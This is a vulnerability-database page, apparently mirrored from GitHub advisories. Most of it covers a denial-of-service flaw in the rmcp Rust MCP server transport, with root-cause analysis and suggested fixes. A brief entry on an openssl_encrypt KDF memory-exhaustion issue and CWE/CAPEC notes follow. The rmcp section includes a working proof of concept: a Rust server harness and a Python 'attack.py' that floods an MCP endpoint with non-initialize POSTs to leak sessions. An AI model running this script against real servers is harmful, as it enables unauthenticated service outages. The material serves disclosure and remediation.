//! LocalSessionManager.sessions HashMap once a second so the leak is
//! observable from stdout.

use std::sync::Arc;

use rmcp::{
    ErrorData, RoleServer, ServerHandler,
    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},
    service::RequestContext,
    transport::{
        StreamableHttpServerConfig, StreamableHttpService,
        streamable_http_server::session::local::LocalSessionManager,
    },
};

const BIND_ADDRESS: &str = "127.0.0.1:8000";

#[derive(Clone, Default)]
struct MinimalServer;

impl ServerHandler for MinimalServer {
    async fn initialize(
        &self,
        _request: InitializeRequestParams,
        _cx: RequestContext<RoleServer>,
    ) -> Result<InitializeResult, ErrorData> {
        Ok(InitializeResult::new(ServerCapabilities::builder().build())
            .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let ct = tokio_util::sync::CancellationToken::new();
    let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());

    // Reporter — prints sessions.len() every second.
    {
        let manager = manager.clone();
        let ct = ct.clone();
        tokio::spawn(async move {
            loop {
                tokio::select! {
                    _ = ct.cancelled() => break,
                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {
                        let n = manager.sessions.read().await.len();
                        println!("[count] active_sessions={n}");
                    }
                }
            }
        });
    }

    let service = StreamableHttpService::new(
        || Ok(MinimalServer::default()),
        manager.clone(),
        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),
    );

    let router = axum::Router::new().nest_service("/mcp", service);
    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;
    println!("[server] listening on http://{BIND_ADDRESS}/mcp");

    let _ = axum::serve(tcp_listener, router)
        .with_graceful_shutdown(async move {
            tokio::signal::ctrl_c().await.ok();
            ct.cancel();
        })
        .await;
    Ok(())
}

Start it:

cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0

Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

python3 attack.py 1000

Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000      <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000      <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000

The behavioural evidence that confirms the vulnerability:

  • Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request).
  • A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second.
  • After the attacker exited, active_sessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.

poc

Impact

  • Attack vector: Network (AV:N). The listener binds a TCP port; the default allowed_hosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowed_hosts to a public hostname, the attack is reachable from the network.
  • Authentication required: None.
  • User interaction required: None.
  • Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client:
    • 1 hour: ~7.8 M entries, ≈3.5 GB
    • 1 day: ~187 M entries, ≈84 GB
    • 1 week: process is long dead from OOM
  • Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (has_session, create_session, close_session, restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
  • Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.

Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

  1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validate_header_matches_init_body call above the self.session_manager.create_session().await line. Reject non-initialize bodies with 422 before any state is created. This removes a class of bugs rather than patching one path. The downside is that validate_header_matches_init_body currently reads init_req.params.protocol_version, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor.
  2. RAII guard for the session. Wrap the session_id returned by create_session in a guard whose Drop impl spawns a close_session call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:34Z",
    "nvd_published_at": "2026-09-16T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server\u0027s `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process\u0027s lifetime \u2014 turning a ~250-byte request into a permanent ~400\u2013550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **\u224875 GB** of resident memory just from the session table.\n\n### Details\n\nThe bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126\u20131170`) is:\n\n```rust\n} else {\n    let (session_id, transport) = self\n        .session_manager\n        .create_session()                                                  // (\u2605)\n        .await\n        .map_err(internal_error_response(\"create session\"))?;\n    // ...capture init params if a SessionStore is configured...\n    if let ClientJsonRpcMessage::Request(req) = \u0026mut message {\n        let ClientRequest::InitializeRequest(init_req) = \u0026req.request else {\n            return Err(unexpected_message_response(\"initialize request\")); // (A)\n        };\n        validate_header_matches_init_body(                                 // (B)\n            \u0026part.headers,\n            init_req.params.protocol_version.as_str(),\n            Some(req.id.clone()),\n        )?;\n        req.request.extensions_mut().insert(part);\n    } else {\n        return Err(unexpected_message_response(\"initialize request\"));     // (C)\n    }\n    let service = self\n        .get_service()                                                     // (D)\n        .map_err(internal_error_response(\"get service\"))?;\n    Self::spawn_session_worker(                                            // (\u2605\u2605)\n        self.session_manager.clone(),\n        session_id.clone(),\n        service,\n        transport,\n        None,\n    );\n    // ...persist to external store, send response...\n}\n```\n\nTwo facts make this unsafe:\n\n1. `(\u2605)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock\u003cHashMap\u003cSessionId, LocalSessionHandle\u003e\u003e`) and spawns a `LocalSessionWorker` task.\n2. `(\u2605\u2605)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(\u0026session_id)`.\n\nTherefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:\n\n- The local `transport: WorkerTransport\u003cLocalSessionWorker\u003e` goes out of scope; its `_drop_guard` cancels the worker\u0027s `CancellationToken`.\n- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.\n- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel\u0027s `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.\n\nBecause the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either \u2014 they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.\n\nThe bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: \u003cbound-address\u003e` value and is allowed through `validate_dns_rebinding_headers` normally.\n\nA secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.\n\n### Proof of concept\n\nThe reproduction is fully self-contained \u2014 no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.\n\n#### Step 1 \u2014 server harness\n\n`Cargo.toml` (paste verbatim):\n\n```toml\n[package]\nname = \"rmcp_leak_repro\"\nversion = \"0.0.1\"\nedition = \"2021\"\npublish = false\n\n[dependencies]\nrmcp = { version = \"1.7.0\", default-features = false, features = [\n    \"server\",\n    \"transport-streamable-http-server\",\n] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"signal\", \"sync\", \"time\"] }\ntokio-util = { version = \"0.7\" }\naxum = { version = \"0.8\", default-features = false, features = [\"http1\", \"tokio\"] }\nanyhow = \"1\"\n\n[workspace]\n```\n\n`src/main.rs` (paste verbatim):\n\n```rust\n//! Minimal MCP Streamable HTTP server that prints the size of the\n//! LocalSessionManager.sessions HashMap once a second so the leak is\n//! observable from stdout.\n\nuse std::sync::Arc;\n\nuse rmcp::{\n    ErrorData, RoleServer, ServerHandler,\n    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},\n    service::RequestContext,\n    transport::{\n        StreamableHttpServerConfig, StreamableHttpService,\n        streamable_http_server::session::local::LocalSessionManager,\n    },\n};\n\nconst BIND_ADDRESS: \u0026str = \"127.0.0.1:8000\";\n\n#[derive(Clone, Default)]\nstruct MinimalServer;\n\nimpl ServerHandler for MinimalServer {\n    async fn initialize(\n        \u0026self,\n        _request: InitializeRequestParams,\n        _cx: RequestContext\u003cRoleServer\u003e,\n    ) -\u003e Result\u003cInitializeResult, ErrorData\u003e {\n        Ok(InitializeResult::new(ServerCapabilities::builder().build())\n            .with_server_info(Implementation::new(\"rmcp-leak-repro\", \"0.0.1\")))\n    }\n}\n\n#[tokio::main]\nasync fn main() -\u003e anyhow::Result\u003c()\u003e {\n    let ct = tokio_util::sync::CancellationToken::new();\n    let manager: Arc\u003cLocalSessionManager\u003e = Arc::new(LocalSessionManager::default());\n\n    // Reporter \u2014 prints sessions.len() every second.\n    {\n        let manager = manager.clone();\n        let ct = ct.clone();\n        tokio::spawn(async move {\n            loop {\n                tokio::select! {\n                    _ = ct.cancelled() =\u003e break,\n                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) =\u003e {\n                        let n = manager.sessions.read().await.len();\n                        println!(\"[count] active_sessions={n}\");\n                    }\n                }\n            }\n        });\n    }\n\n    let service = StreamableHttpService::new(\n        || Ok(MinimalServer::default()),\n        manager.clone(),\n        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),\n    );\n\n    let router = axum::Router::new().nest_service(\"/mcp\", service);\n    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;\n    println!(\"[server] listening on http://{BIND_ADDRESS}/mcp\");\n\n    let _ = axum::serve(tcp_listener, router)\n        .with_graceful_shutdown(async move {\n            tokio::signal::ctrl_c().await.ok();\n            ct.cancel();\n        })\n        .await;\n    Ok(())\n}\n```\n\nStart it:\n\n```bash\ncargo run --release\n```\n\nInitial output:\n\n```\n[server] listening on http://127.0.0.1:8000/mcp\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n```\n\n#### Step 2 \u2014 attacker\n\n`attack.py` (paste verbatim \u2014 Python 3 standard library only, no `pip install` required):\n\n```python\nimport http.client, json, sys, time\n\nHOST, PORT, PATH = \"127.0.0.1\", 8000, \"/mcp\"\n\n# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,\n# but NOT an `InitializeRequest`. The server\u0027s `let ... else` pattern at\n# tower.rs:1148 rejects it after the session has already been created\n# at tower.rs:1129.\nbody = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/list\",\n    \"params\": {},\n}).encode(\"ascii\")\n\nheaders = {\n    \"Host\": f\"{HOST}:{PORT}\",                        # passes allowed_hosts\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json, text/event-stream\",\n    \"Content-Length\": str(len(body)),\n}\n\nn = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 1000\nprint(f\"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}\")\nstart = time.monotonic()\nleaked = 0\nfor i in range(n):\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n    conn.request(\"POST\", PATH, body=body, headers=headers)\n    resp = conn.getresponse()\n    status = resp.status\n    resp.read()\n    conn.close()\n    if status == 422:\n        leaked += 1\nelapsed = time.monotonic() - start\nprint(f\"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).\")\n```\n\nRun it:\n\n```bash\npython3 attack.py 1000\n```\n\n#### Step 3 \u2014 observed evidence\n\nAttacker output (verbatim, measured on Rust 1.92.0 stable, macOS):\n\n```\n[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp\n[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).\n```\n\nServer output during and after the attack:\n\n```\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=844\n[count] active_sessions=1000      \u003c-- attack complete, attacker has disconnected\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000      \u003c-- 20+ seconds later, still 1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n```\n\nThe behavioural evidence that confirms the vulnerability:\n\n- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).\n- A single Python client sustained `1000 / 0.46 \u2248 2 174` leak requests per second.\n- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process\u0027s lifetime.\n\n\u003c!--\n  Optional: drop in a terminal screenshot here. Two screenshots\n  (server console / attacker console) or one side-by-side capture are\n  both fine. Filenames can be anything you like; suggested:\n    ![server console \u2014 active_sessions climbs to 1000 and remains](server.png)\n    ![attacker console \u2014 1000/1000 HTTP 422 in 0.46s](attacker.png)\n--\u003e\n\n\u003cimg width=\"3554\" height=\"1468\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6\" /\u003e\n\n\n### Impact\n\n- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = [\"localhost\", \"127.0.0.1\", \"::1\"]` accepts anything reaching it over the loopback interface. In the dominant deployment model \u2014 a Streamable HTTP MCP server embedded into an IDE or local agent \u2014 any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.\n- **Authentication required**: None.\n- **User interaction required**: None.\n- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400\u2013550 bytes per leaked entry, including the `SessionId` `Arc\u003cstr\u003e`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:\n    - **1 hour**: ~7.8 M entries, \u22483.5 GB\n    - **1 day**: ~187 M entries, \u224884 GB\n    - **1 week**: process is long dead from OOM\n- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.\n- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.\n\n### Suggested fix\n\nTwo minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.\n\n1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier \u2014 a small refactor.\n2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically \u2014 including future early-returns that reviewers might miss.\n\nA regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.",
  "id": "GHSA-9pj6-vhgr-3mwh",
  "modified": "2026-09-16T22:13:34Z",
  "published": "2026-09-16T22:13:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/rust-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service"
}

GHSA-9PPH-4H37-568J

Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32
VLAI
Details

openssl_encrypt before 1.4.9 fails to validate KDF cost parameters in encrypted file metadata and keystore headers, allowing attackers to trigger unbounded memory allocation. Attackers can craft malicious encrypted files declaring arbitrarily large Argon2, scrypt, or balloon KDF parameters to exhaust system memory and crash the process without authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-81721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T17:21:02Z",
    "severity": "HIGH"
  },
  "details": "openssl_encrypt before 1.4.9 fails to validate KDF cost parameters in encrypted file metadata and keystore headers, allowing attackers to trigger unbounded memory allocation. Attackers can craft malicious encrypted files declaring arbitrarily large Argon2, scrypt, or balloon KDF parameters to exhaust system memory and crash the process without authentication.",
  "id": "GHSA-9pph-4h37-568j",
  "modified": "2026-08-27T18:32:29Z",
  "published": "2026-08-27T18:32:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-7894-5gw8-69hr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81721"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-denial-of-service-via-kdf-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.